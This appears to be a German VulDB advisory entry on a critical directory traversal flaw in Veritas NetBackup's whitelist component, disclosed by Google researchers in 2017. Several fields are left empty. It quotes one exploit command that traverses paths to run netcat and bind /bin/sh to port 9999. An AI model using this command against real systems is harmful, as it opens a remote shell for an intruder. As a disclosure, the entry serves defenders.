Eine Schwachstelle wurde in Veritas NetBackup 6.x/7.x/8.0 gefunden. Sie wurde als kritisch eingestuft. Betroffen davon ist eine unbekannte Funktion der Komponente Whitelist. Durch Manipulieren mit einer unbekannten Eingabe kann eine Directory Traversal-Schwachstelle ausgenutzt werden. Auswirkungen sind zu beobachten für Vertraulichkeit, Integrität und Verfügbarkeit.
Die Schwachstelle wurde am 01.03.2017 durch Sven Blumenstein, Xiaoran Wang und Andrew Griffiths von Google als Veritas NetBackup v6.x, v7.x, v8.0 and NetBackup appliances v2.x, v3.0 - Multiple Critical Vulnerabilities in Form eines unbestätigten Mailinglist Posts (Full-Disclosure) veröffentlicht. Auf zur Verfügung gestellt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:
/usr/openv/netbackup/bin/../../../../../../../usr/bin/nc foo -lp 9999 -e/bin/sh
Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.
Die Einträge , sind sehr ähnlich.
Betroffen
- Veritas NetBackup Appliance 6.x/7.x/8.0
- Veritas NetBackup Appliances 2.x/3.0
CVSSv3
VulDB Base Score:VulDB Vector:
VulDB Temp Score:
Exploiting
Klasse: Directory Traversal (Preisentwicklung: gleichbleibend
Aktuelle Preisschätzung: $0-$5k (0-day) / $0-$5k (Heute)
Gegenmassnahmen
Empfehlung: keine Massnahme bekanntStatus: Nicht verfügbar
0-Day Time: 0 Tage seit gefunden
Exploit Delay Time: 0 Tage seit bekannt
Timeline
01.03.201701.03.2017
Quellen
Advisory: , , ,Eintrag
Erstellt: 01.03.2017Eintrag: 76.4% komplett
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